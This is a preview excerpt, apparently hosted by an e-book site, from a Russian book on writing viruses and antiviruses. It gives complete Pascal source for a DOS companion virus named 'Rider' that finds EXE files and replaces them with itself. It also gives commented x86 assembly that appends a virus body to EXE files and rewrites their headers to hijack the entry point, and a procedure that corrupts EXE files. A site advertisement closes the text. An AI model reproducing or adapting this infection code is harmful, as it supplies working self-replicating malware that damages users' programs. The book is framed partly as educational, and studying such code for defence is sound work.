Игорь Гульев - Создаем вирус и антивирус
Ознакомительный фрагмент
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,
High Heap Limit 0b }
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
Fail=’Cannot execute ’#13#10’Disk is write−protected’;
{Расширения файлов, которые будем использовать}
Ovr=’.OWL’;
Ovl=’.OVL’;
Exe=’.EXE’;
Var
DirInfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
{Процедура для проверки диска на Read Only}
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If IOResult <> 0 Then
{Если диск защищен от записи, то ответ ’Access denied’}
begin
WriteLn(Fail);
Halt(5);
end;
end;
{Процедура прогонки оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, DirInfo);
If DosError <> 0 Then
{Если не нашли}
begin
WriteLn(’Virus RIDER. Let’s go on riding!’);
WriteLn(’I beg your pardon, your infected file cannot be executed.’);
{Выход с DosError=Файл не найден}
Halt(18);
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в EXE}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
{И запускаем его}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);
SwapVectors;
{А теперь возвращаем все на место}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
{Процедура заражения}
procedure Infect;
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile;
begin
{В текущем каталоге ищем EXE−файл}
FindFirst(’*.EXE’, AnyFile, DirInfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя жертвы}
Victim:=DirInfo.Name;
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)–4);
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure Init;
begin
{Командная строка}
CmdLine:=’’;
{Полное имя нашей программы}
OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);
For I:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(I)+’ ’;
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ’ ’);
end;
{Инициализируемся}
Init;
{Проверка диска на R/O}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.Вирусы, внедряющиеся в программу (Parasitic)
Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение EXE-файлов
Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE−файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21h
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx,Handle
xor cx,cx
xor dx,dx
int 21h
;Сохраним полученную длину файла
mov Reallen,dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE−файла
push dx
push ax
;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток
CompareOVL:
mov cx,0200h
div cx
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.
;Значения констант, используемых в программе,
;равны смещению соответствующего
;элемента в заголовке EXE−файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss,ax
mov ax,[si+ExeSP]
mov oldsp,ax
mov ax,[si+ReloCS]
mov oldcs,ax
mov ax,[si+ExeIP]
mov oldip,ax
;Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
;Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE – длина тела вируса
adc dx,0
;Рассчитаем получившуюся длину (одна страница – 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div cx
or dx,dx
jz new_len
inc ax
New_len:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx,Reallen+2
mov ax,Reallen
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div cx
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE−файл
sub ax,[si+HdrSize]
;Запишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExeIP],dx
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо ”mov ax,ANYDATA” придется делать так:
; mov si,VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
mov [si+ReloSS],ax
mov ax,VIRSIZE+100h
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateFile:
;Запишем тело вируса
WriteBody:
;Установим указатель чтения/записи в конец файла
mov bx,Handle
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Запишем тело вируса в файл
mov ah,40h
mov cx,VIRSIZE
mov dx,offset VIRStart
int 21h
;Запишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx,si
int 21hИтак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE:
StackBack:
;Установим первоначальный указатель (сегмент и смещение) стека
mov ax,ds
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
Откройте для себя мир чтения на siteknig.com - месте, где каждая книга оживает прямо в браузере. Здесь вас уже ждёт произведение Игорь Гульев - Создаем вирус и антивирус, относящееся к жанру Прочая околокомпьютерная литература. Никаких регистраций, никаких преград - только вы и история, доступная в полном формате. Наш литературный портал создан для тех, кто любит комфорт: хотите читать с телефона - пожалуйста; предпочитаете ноутбук - идеально! Все книги открываются моментально и представлены полностью, без сокращений и скрытых страниц. Каталог жанров поможет вам быстро найти что-то по настроению: увлекательный роман, динамичное фэнтези, глубокую классику или лёгкое чтение перед сном. Мы ежедневно расширяем библиотеку, добавляя новые произведения, чтобы вам всегда было что открыть "на потом". Сегодня на siteknig.com доступно более 200000 книг - и каждая готова стать вашей новой любимой. Просто выбирайте, открывайте и наслаждайтесь чтением там, где вам удобно.


